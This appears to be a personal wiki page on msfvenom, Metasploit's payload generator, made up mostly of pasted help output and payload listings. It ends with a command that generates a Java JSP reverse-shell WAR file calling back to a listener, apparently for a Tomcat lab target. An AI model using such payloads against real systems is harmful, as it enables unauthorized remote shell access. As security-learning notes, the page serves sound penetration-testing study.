MSFVenom
From charlesreid1
Can be used to craft payloads like remote tcp shells.
See this tool in action: Metasploitable/Apache/DAV
More info: https://sathisharthars.wordpress.com/tag/msfvenom/
And: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
Creating Payloads
Here's the help message for msfvenom:
root@morpheus:~# msfvenom -h Error: MsfVenom - a Metasploit standalone payload generator. Also a replacement for msfpayload and msfencode. Usage: /usr/bin/msfvenom [options] <var=val> Options: -p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads --payload-options List the payload's standard options -l, --list [type] List a module type. Options are: payloads, encoders, nops, all -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload -f, --format <format> Output format (use --help-formats for a list) --help-formats List available formats -e, --encoder <encoder> The encoder to use -a, --arch <arch> The architecture to use --platform <platform> The platform of the payload --help-platforms List available platforms -s, --space <length> The maximum size of the resulting payload --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) -b, --bad-chars <list> The list of characters to avoid example: '\x00\xff' -i, --iterations <count> The number of times to encode the payload -c, --add-code <path> Specify an additional win32 shellcode file to include -x, --template <path> Specify a custom executable file to use as a template -k, --keep Preserve the template behavior and inject the payload as a new thread -o, --out <path> Save the payload -v, --var-name <name> Specify a custom variable name to use for certain output formats --smallest Generate the smallest possible payload -h, --help Show this message
Also, a list of different formats that msfvenom is capable of deploying:
root@morpheus:~# msfvenom --help-formats Error: Executable formats asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war Transform formats bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
Let's walk through the usage, so you can see how to fumble your way through using this tool.
Tomcat
To create a WAR file that woudl give a reverse shell, I used msfvenom to generate the payload.
I started by listing all the different payloads available, and looked for java-related payloads:
root@morpheus:~/box/besside# msfvenom -l payloads Framework Payloads (437 total) ============================== Name Description ---- ----------- java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager java/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection java/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager java/shell_reverse_tcp Connect back to attacker and spawn a command shell
Probably want to use java/jsp_shell_reverse_tcp
or java/meterpreter/reverse_tcp
.
jsp shell reverse tcp
Here are the options:
root@morpheus:~/box/besside# msfvenom -p java/jsp_shell_reverse_tcp --payload-options Options for payload/java/jsp_shell_reverse_tcp: Name: Java JSP Command Shell, Reverse TCP Inline Module: payload/java/jsp_shell_reverse_tcp Platform: Linux, OSX, Solaris, Unix, Windows Arch: java Needs Admin: No Total size: 0 Rank: Normal Provided by: sf <stephen_fewer@harmonysecurity.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address LPORT 4444 yes The listen port SHELL no The system shell to use. Description: Connect back to attacker and spawn a command shell Advanced options for payload/java/jsp_shell_reverse_tcp: Name : AutoRunScript Current Setting: Description : A script to run automatically on session creation. Name : InitialAutoRunScript Current Setting: Description : An initial script to run on session creation (before AutoRunScript) Name : ReverseAllowProxy Current Setting: false Description : Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST Name : ReverseConnectRetries Current Setting: 5 Description : The number of connection attempts to try before exiting the process Name : ReverseListenerBindAddress Current Setting: Description : The specific IP address to bind to on the local system Name : ReverseListenerBindPort Current Setting: Description : The port to bind to on the local system if different from LPORT Name : ReverseListenerComm Current Setting: Description : The specific communication channel to use for this listener Name : ReverseListenerThreaded Current Setting: false Description : Handle every connection in a new thread (experimental) Name : VERBOSE Current Setting: false Description : Enable detailed status messages Name : WORKSPACE Current Setting: Description : Specify the workspace for this module Evasion options for payload/java/jsp_shell_reverse_tcp:
Ok, let's give it a whirl.
root@morpheus:~/box/besside# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.25 LPORT=4444 -f war > runme.war Payload size: 1088 bytes